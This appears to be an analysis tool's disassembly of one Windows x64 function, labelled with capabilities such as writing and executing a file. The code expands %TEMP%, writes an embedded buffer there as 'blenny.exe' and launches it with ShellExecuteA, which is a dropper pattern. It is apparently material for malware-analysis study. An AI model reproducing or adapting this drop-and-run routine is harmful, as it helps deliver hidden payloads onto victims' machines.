Function at 0x1400021a0
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x140047040]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
xor esi, esi
mov qword [rsp + 0x70], rsi
movups xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x1400325b0]
movdqu xmmword [rbp - 0x78], xmm1
mov eax, dword [str.blenny]
mov dword [rsp + 0x78], eax
movzx eax, word [0x1400324f8]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x7e], sil
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
call fcn.14000bf10
nop
mov rdx, qword [rax]
lea rcx, [rsp + 0x60]
call fcn.140001cb0
nop
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x1400022fb
mov rdi, qword [rsp + 0x50]
cmp rbx, rdi
je 0x140002295
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002287
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140002277
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002490
mov rcx, r8
call fcn.140013f40
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
add rbx, 0x18
cmp rbx, rdi
jne 0x140002243
mov rbx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400022e5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002490
mov rcx, rbx
call fcn.140013f40
mov qword [rsp + 0x48], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002337
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002332
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002496
call fcn.140013f40
xor edx, edx
mov r8d, 0x105
lea rcx, [rbp - 0x30]
call fcn.1400306a0
mov r8d, 0x105
lea rdx, [rbp - 0x30]
lea rcx, str._TEMP_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov edx, eax
test eax, eax
je 0x14000249c
lea eax, [rdx - 1]
mov byte [rbp + rax - 0x30], 0x2f
lea rcx, [rbp - 0x30]
mov eax, dword [str.blenny]
mov dword [rcx + rdx], eax
movzx eax, word [0x1400324f8]
mov word [rcx + rdx + 4], ax
add edx, 6
mov dword [rbp + rdx - 0x30], 0x6578652e
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400024cd
mov dword [rsp + 0x40], esi
mov r8d, dword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
sub r8d, ebx
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x40]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400024fe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp - 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp rax, 0x20
jl 0x14000252f
test rbx, rbx
je 0x140002462
mov rdx, qword [rsp + 0x70]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000245a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000248a
mov rcx, rbx
call fcn.140013f40
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140014220
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140019da4
nop
call fcn.140019da4
nop
call fcn.140019da4
int3
lea rdx, str.ExpandEnvironmentStringsA_failed
lea rcx, [rsp + 0x78]
call fcn.140001740
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x68]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rbp - 0x68]
call fcn.140014fd8
nop
lea rdx, str.CreateFileA_failed
lea rcx, [rsp + 0x78]
call fcn.140001740
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x68]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rbp - 0x68]
call fcn.140014fd8
nop
lea rdx, str.WriteFile_failed
lea rcx, [rsp + 0x78]
call fcn.140001740
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x68]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rbp - 0x68]
call fcn.140014fd8
nop
lea rdx, str.ShellExecuteA_failed
lea rcx, [rsp + 0x78]
call fcn.140001740
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x68]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rbp - 0x68]
call fcn.140014fd8
int3